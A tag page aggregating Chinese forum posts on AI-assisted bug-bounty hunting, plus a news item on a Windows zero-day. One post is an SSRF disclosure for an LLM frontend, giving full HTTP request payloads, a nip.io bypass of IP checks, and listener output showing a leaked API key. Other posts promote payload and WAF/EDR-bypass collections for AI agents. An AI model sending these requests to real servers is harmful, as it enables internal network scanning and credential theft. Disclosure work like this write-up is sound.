WWW.YOUINFO.SITE
标签聚合 SRC

/tag/SRC

LinuxDo 最新话题 · 2026-06-10 12:26:38+08:00 · tech

本人之前从事二进制方向,PWN和逆向的研究,从一个月前开始SRC的研究。正好赶上了这波AI挖掘SRC的浪潮,各路培训机构层出不穷,本人也在可以算是第一家有成熟套路的机构报了名,上了几天课,但是一直有几个无法解决的问题,在此分享一些目前的一些收获和测试情况(后面我会附上我想到的问题,有些问题没有实践只是猜想)以及向各位佬友交流一下有没有更好的解决方案。 各类堆skill大法 在这个方法下又诞生了几种方法论: 把SRC报告喂给ai,让ai总结成skill 问题:src报告通常都是复现过程,缺少了漏洞发现的过程,以及一些排查思路。 让ai打靶场,总结成skill 问题:实测dp无法很好地写这个skill,打到有价值的地方也不进行总结,gpt5.5稍微好一点,但是效果也不尽人意 蒸馏各类网安skill 问题:显而易见,听说这种skill很难出货,因为信息杂乱,通常是由ai总结,依然脱离实战 另外,实测发现随着上下文变长,AI会慢慢不听skill的话 记忆系统 这种方法我觉得不仅适用于网安,也适用其他领域。 就是将上下文、技巧、经验不仅存储在skill里,也存储在数据库中 问题:ai不知道什么时候把当前的重复错误行为和有价值的经验存入数据库,也不知道什么时候从数据库中提取什么经验。且选型我目前很纠结,这个东西类似本地知识库,但是用RAG又很臃肿,用jsonl又过于轻量且只能用关键词一比一搜索,不能模糊搜索,那还有什么意义呢,比如xss一搜,可能出来很多很多,即便解决了这个问题,也面临ai不会用的问题。 我想到的解决办法: 针对记忆系统,使用传统skill的方式去写,但是由人工审核干预,还是很累做不到自动化,比如看到AI重复犯错,就触发写记忆skill,写到对应领域的技巧的skill里 轻量skill,skill只做角色定位+写记忆skill+记忆 实测还是有问题 ,不约束流程,ai会漏掉很多接口,功能点,还是不听skill的话,上下文问题还是无法解决。以下是测试情况,测试目标是我徒弟测试过的一个edu站点。 第一版重流程skill(从国外大佬提取+打靶场强制他优化)无记忆系统: deepseek v4 pro可以挖到edu站点中手挖几小时出来的同样的身份证信息泄露,又多挖出来四个csrf 第二版加记忆系统,轻skill: dp直接蒙圈,困在主站页面,浪费大量token后没有任何发现(开始不用mcp工具一直用curl) gpt5.5竟然更严重,从头到尾不调用mcp工具 第三版最轻量skill: gpt5.5同样的问题,并且会胆子很小,各种功能点全部避开,甚至js都不看 目前也是徘徊,我觉得记忆系统有必要,但是不知道怎样落地,ai挖洞的意义难道不是覆盖手工无法覆盖的地方,提高手工的效率吗,如果他学不会手工的技巧,漏掉功能点,哪还有什么意义呢,初入此站,望各位佬友能一起交流,寻找灵感。 5 个帖子 - 2 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-06-02 18:08:15+08:00 · tech

这段时间刚开始ai挖洞,一开始就配置了一个打CTF用的skill,然后挖edusrc的时候发现一个刚上线一个系统,尝试用codex配chatgpt十分钟左右吧出了一个高危一个中危。当时就觉得这个太nb了,然后就开始研究了一段时间。加了一下大佬们的skill,和配置了一个burpmcp和kalimcp,到现在为止出的漏洞挺多但是大部分是ai幻想的漏洞,比如一个购物网站他会把购物物品的id当成严重的信息泄写进露漏洞报告输出给我。 现在就是有点迷,不知道怎么去提升这方面的能力,有没有大佬来指点一下。麻烦了 4 个帖子 - 4 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-27 16:14:05+08:00 · tech

Tokenizer端点ssrf file:src/endpoints/tokenizers.js /remote/kobold/count 虽然他们被设计出来就是用于api通行的 但是事实上他们可以造成内网的扫描 例如在多租户的docker环境中 router.post('/remote/kobold/count', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); try { const args = { method: 'POST', body: JSON.stringify({ 'prompt': text }), headers: { 'Content-Type': 'application/json' }, }; let url = String(baseUrl).replace(/\/$/, ''); url += '/extra/tokencount'; const result = await fetch(url, args); if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = data.value; const ids = data.ids ?? []; return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 请求直接写入了 const baseUrl = String(request.body.url); 无过滤 虽然没有返回内容都只是 { error: true } 但测试下来依旧可以通过延时判断内网端口开放状态若存在瞬间返回,若端口不存在延迟约三秒返回,构成ssrf payload: POST /api/tokenizers/remote/kobold/count HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "hello", "url": "http://172.19.0.1:8080"} /remote/textgenerationwebui/encode ssrf+kay泄漏 router.post('/remote/textgenerationwebui/encode', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); //用户控制 无验证 const model = String(request.body.model) || ''; try { const args = { method: 'POST', headers: { 'Content-Type': 'application/json' }, }; setAdditionalHeaders(request, args, baseUrl); // 关键 调用设置函数 在头添加密钥 // Convert to string + remove trailing slash + /v1 suffix let url = String(baseUrl).replace(/\/$/, '').replace(/\/v1$/, ''); switch (request.body.api_type) { case TEXTGEN_TYPES.TABBY: url += '/v1/token/encode'; args.body = JSON.stringify({ 'text': text, 'add_bos_token': false }); break; case TEXTGEN_TYPES.KOBOLDCPP: url += '/api/extra/tokencount'; args.body = JSON.stringify({ 'prompt': text, 'special': false }); break; case TEXTGEN_TYPES.LLAMACPP: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'content': text }); break; case TEXTGEN_TYPES.VLLM: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; case TEXTGEN_TYPES.APHRODITE: url += '/v1/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; default: url += '/v1/internal/encode'; args.body = JSON.stringify({ 'text': text }); break; } const result = await fetch(url, args); //带上附加的头 if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = (data?.length ?? data?.count ?? data?.value ?? data?.tokens?.length); const ids = (data?.tokens ?? data?.ids ?? []); return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 观察代码不难注意到 setAdditionalHeaders(request, args, baseUrl); 这个函数,它又指向 setAdditionalHeadersByType ,在这个函数中key被赋值 export function setAdditionalHeadersByType(requestHeaders, type, server, directories) { const headerGetters = { [TEXTGEN_TYPES.MANCER]: getMancerHeaders, [TEXTGEN_TYPES.VLLM]: getVllmHeaders, [TEXTGEN_TYPES.APHRODITE]: getAphroditeHeaders, [TEXTGEN_TYPES.TABBY]: getTabbyHeaders, [TEXTGEN_TYPES.TOGETHERAI]: getTogetherAIHeaders, [TEXTGEN_TYPES.OOBA]: getOobaHeaders, [TEXTGEN_TYPES.INFERMATICAI]: getInfermaticAIHeaders, [TEXTGEN_TYPES.DREAMGEN]: getDreamGenHeaders, [TEXTGEN_TYPES.OPENROUTER]: getOpenRouterHeaders, [TEXTGEN_TYPES.KOBOLDCPP]: getKoboldCppHeaders, [TEXTGEN_TYPES.LLAMACPP]: getLlamaCppHeaders, [TEXTGEN_TYPES.FEATHERLESS]: getFeatherlessHeaders, [TEXTGEN_TYPES.HUGGINGFACE]: getHuggingFaceHeaders, [TEXTGEN_TYPES.GENERIC]: getGenericHeaders, }; const getHeaders = headerGetters[type]; // 获得密钥 const headers = getHeaders ? getHeaders(directories) : {}; if (typeof server === 'string' && server.length > 0) { try { const url = new URL(server); const overrideHeaders = getOverrideHeaders(url.host); if (overrideHeaders && Object.keys(overrideHeaders).length > 0) { Object.assign(headers, overrideHeaders); } } catch { // Do nothing } } Object.assign(requestHeaders, headers); } 效果如下 payload POST /api/tokenizers/remote/textgenerationwebui/encode HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "test", "url": "http://172.19.0.1:8080", "api_type": "tabby", "model": ""} 返回 nc -l 0.0.0.0 8080 POST /v1/token/encode HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br authorization: Bearer 123123 content-length: 37 content-type: application/json user-agent: node-fetch x-api-key: 123123 Host: 172.19.0.1:8080 Connection: keep-alive {"text":"test","add_bos_token":false} 关键 x-api-key: 123123 只要用户设置过的key 通过apitype就可以泄漏 KoboldCPP端点ssrf漏洞 看代码 router.post('/koboldcpp', async (request, response) => { try { const { query, url } = request.body; if (!url) { console.error('No URL provided for KoboldCpp search'); return response.sendStatus(400); } console.debug('KoboldCpp search query', query); const baseUrl = trimV1(url); const args = { method: 'POST', headers: {}, body: JSON.stringify({ q: query }), }; setAdditionalHeaders(request, args, baseUrl); const result = await fetch(`${baseUrl}/api/extra/websearch`, args); if (!result.ok) { const text = await result.text(); console.error('KoboldCpp request failed', result.statusText, text); return response.status(500).send(text); } const data = await result.json(); console.debug('KoboldCpp search response', data); return response.json(data); } catch (error) { console.error(error); return response.sendStatus(500); } }); 一样的 关键点 const baseUrl = trimV1(url); 在之后url会被拼接 /api/extra/websearch 进行查询 没有过滤 白名单 于是我们可以构造出如下的 payload POST /api/search/koboldcpp HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"query": "", "url": "http://172.19.0.1:8080"} 如果不想请求携带后面的接口 可以添加# 来绕过 {"query": "", "url": "http://172.19.0.1:8080#"} nc -l 0.0.0.0 8080 POST / HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br content-length: 8 content-type: text/plain;charset=UTF-8 user-agent: node-fetch Host: 172.19.0.1:8080 Connection: keep-alive {"q":""} /visit 80,443端口 回显ssrf router.post('/visit', async (request, response) => { try { const url = request.body.url; const html = Boolean(request.body.html ?? true); if (!url) { console.error('No url provided for /visit'); return response.sendStatus(400); } try { const urlObj = new URL(url); // Reject relative URLs if (urlObj.protocol === null || urlObj.host === null) { throw new Error('Invalid URL format'); } // Reject non-HTTP URLs if (urlObj.protocol !== 'http:' && urlObj.protocol !== 'https:') { throw new Error('Invalid protocol'); } // Reject URLs with a non-standard port if (urlObj.port !== '') { throw new Error('Invalid port'); } // Reject IP addresses if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } } catch (error) { console.error('Invalid url provided for /visit', url); return response.sendStatus(400); } console.info('Visiting web URL', url); const result = await fetch(url, { headers: visitHeaders }); if (!result.ok) { console.error(`Visit failed ${result.status} ${result.statusText}`); return response.sendStatus(500); } const contentType = String(result.headers.get('content-type')); if (html) { if (!contentType.includes('text/html')) { console.error(`Visit failed, content-type is ${contentType}, expected text/html`); return response.sendStatus(500); } const text = await result.text(); return response.send(text); } response.setHeader('Content-Type', contentType); const buffer = await result.arrayBuffer(); return response.send(Buffer.from(buffer)); } catch (error) { console.error(error); return response.sendStatus(500); } }); 这里的验证并不严格 关键的代码是 if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } 他用的是ip-regex模块匹配ip,不够完全 可以利用一些手段绕过 例如 nip.io http://127.0.0.1.nip.io 这个就指向127 payload: POST /api/search/visit HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"url": "http://172.19.0.1.nip.io", "html": false} sudo nc -l 0.0.0.0 80 GET / HTTP/1.1 accept: text/html accept-encoding: gzip, deflate, br accept-language: en-US,en;q=0.5 cache-control: no-cache connection: keep-alive dnt: 1 pragma: no-cache sec-fetch-dest: document sec-fetch-mode: navigate sec-fetch-site: none sec-fetch-user: ?1 te: trailers user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: 172.19.0.1.nip.io 这个问题已经有安全报告了 GitHub Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6 ### Details Distinct from CVE-2025-59159, CVE-2026-26286, and GHSA-vjv2-8gh6-4hc2 (all fixed in v1.16.0). This endpoint is still unpatched. In `src/endpoints/search.js` line 419, the hostname i... 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-26 12:44:09+08:00 · tech

本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 今天实网验证了一下 SRC 挖掘的能力,起始输入一组资产范围,全自动完成从资产搜集到漏洞验证的全流程 【开源推广】Z3r0:全流程自动化渗透/挖洞智能体协作平台 开发调优 本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 项目简介 最… github.com GitHub - yv1ing/Z3r0: A controlled multi-agent workbench for authorized... A controlled multi-agent workbench for authorized security assessment, code auditing, internal review, and controlled research. 4 个帖子 - 3 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-10 12:27:50+08:00 · tech

本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 一直想做个ai挖漏洞的知识库来着。主要偏向src漏洞挖掘而非渗透测试。 前几天看 YouTube 上 NahamSec 采访一个使用 Claude Code 挖掘漏洞的视频。里面说到,把 H1 的公开报告精炼为 skill 的想法很好,然后基于这些报告构建出一套方法论。 以下是我提炼了乌云所有公开的业务漏洞、H1 2000 多个高危和严重漏洞,国内已公开src报告,并结合自己实战挖掘经验,做成的一个独立 Claude Code skill: src-hunter 。 内容来源 乌云所有公开的业务漏洞 H1 2000 多个 High / Critical 公开漏洞报告 自己挖掘 SRC 的实战经验 仓库地址 github.com GitHub - MyuriKanao/src-hunter-skill: 实战 SRC / 众测 / Bug bounty 漏洞挖掘 Claude Code skill —... 实战 SRC / 众测 / Bug bounty 漏洞挖掘 Claude Code skill — 19 个攻击类 playbook、305 个结构化 payload、263 个 WAF/EDR 绕过、2887 份 HackerOne 真实案例、88,636 WooYun 案例统计 2 个帖子 - 2 位参与者 阅读完整话题

linux.do · 2026-05-06 11:48:57+08:00 · tech

我从3月份开始初步接触到Claude code,当时的感觉就是太强大了,能完成以前很多觉得不可思议的事情,甚至于对于渗透,它给我的感受是已经可以替代我这个工作快满一年的小菜鸟了。许多的渗透方式,连我自己都未曾尝试。从那个时候起,我就在考虑,如何让它完全的替代我。 和许多人一样,接触到Claude code后,我第一时间是想着从基础学起,让我对AI的认知了解更为深刻。很可惜,我并不是一个“好读书”的好苗子,让gpt给我一条学习路径,我仅仅完成了前两个就再也不想坚持下去了。所以接下来的心得,可以说是“野路子”。在我并不熟悉ai的情况下,由结果倒推过程的路子,哈哈,写的不好不要喷我~ 最初的做法:胡乱添加了一些GitHub上的skill,然后又用ai生成了一堆claude.md的文件,放到Claude code中,就酷酷的对网站进行测试了。但即使是这样,Claude code给我的惊喜也很大,当时deepseek4pro还没出来,我使用的还是glm4.7版本。背景是:我想用Claude code帮助我复现一个数据库漏洞,并讲清楚这个漏洞的原理(因为那个数据库接触的比较少,让ai来可以省去很多找payload试错的时间),仅此而已。 我负责搭建环境–》提出要求–》Claude code就开始运行了。 转折点来了,我给他的漏洞接口是: /api/v1/hosts/command/search 但它居然能测试出/api/v1/hosts/search接口存在漏洞 从这个时候起,我就意识到了ai的强大,它其实根本不需要我们给出过多的提示或者约束就能进行完成(哈哈,这个说法到后面我自己就会推翻了) 接下来我是怎么去完成自动化,一开始我认为我的skill已经足够的强大了(虽然是随便加的)。让它去完成各种的测试,甚至是SRC的测试,但效果可以说是水洞的天堂: 这些水洞有些我连上班的时候都不敢提交。 后面是怎么做的呢?后面我对skill的理解不再是理论上的东西,而是实际的。它就是一份说明书,你在skill中写的越多,那么测试的方向则会越符合你的心意!意思就是,你不要将流程交给ai自己去摸索你要把你的工作流程交给AI的同时,让AI再进行思考。这样AI就不会花费大量的时间在测试流程上反复横跳: 最理想的skill文件是: 一个大的skill文件,里面写的是你希望如何测试SQL注入,能够使用哪些工具,有哪些姿势,遇到什么场景该怎么做等等。而references文件夹也就是说明文件夹中,你应该存放着你刚刚说的哪些场景的具体数据包(不用全部,举例即可),工具的完整使用命令以及出处这类的完整说明文件,来保证你的Claude code能正确的调用这些工具,是的,你必须教会它调用你电脑上的工具,否则它将会调用时非常的奇怪且反复横跳。 那么其他两个文件夹呢? 一个是用来存放脚本文件的,比如你测试sql注入的时候,希望做一些对payload加解密,那么你完全可以将这个脚本存放到skill文件夹中,这样它就不会傻乎乎的自己再去写脚本,而脚本也不一定能符合你的心意。 另外一个文件夹,你可以将你整理出牛逼的payload,直接存放,来保证它每次sql测试的时候都先使用你的payload,再去自己想payload。这会大大的提高测试效率 在优化完你skill的逻辑后,你就要想,有没有最简单的工具能完成最多的事情?如果有,那么久只需要一个工具就好了。因为太多的工具,不仅会影响模型的判断,还会将大量的时间重复在一个点上。比如有fuff工具,其实是不是就可以替代sqlmap工具了?理论上是可以的,但为什么我没这样做,因为那样我又要重新教ai,sql注入到底该如何测试,而sqlmap保留下来却可以让他测试变得顺利。 6 个帖子 - 5 位参与者 阅读完整话题

www.ithome.com · 2026-04-17 19:08:00+08:00 · tech

IT之家 4 月 17 日消息,安全研究员 Chaotic Eclipse 于本月初因不满微软 MSRC 安全部门响应流程, 对外公开披露了一项 BlueHammer 零日安全漏洞 。随后,多位安全专家证实该漏洞确实存在,微软已在本月例行更新(Patch Tuesday)中将其登记为 CVE-2026-33825 并完成修复。 对此,Chaotic Eclipse 认为微软根本不重视研究人员悄悄上报的漏洞,只有公开披露漏洞才能让微软迅速修复,因此其又公开披露了一项名为 RedSun 的零日漏洞。 IT之家获悉,该漏洞波及 Windows 10/11/Server 2019,主要利用了 Windows 的 Cloud Files API 在处理文件时的“时间差漏洞”。黑客先放入一个特殊文件诱导系统介入处理,再趁系统忙于操作的瞬间偷偷把文件替换成自己的恶意程序,并伪装成系统关键组件;由于该组件本来会以 SYSTEM 最高权限运行,最终就变成系统“误帮”攻击者执行恶意代码,从而实现权限提升。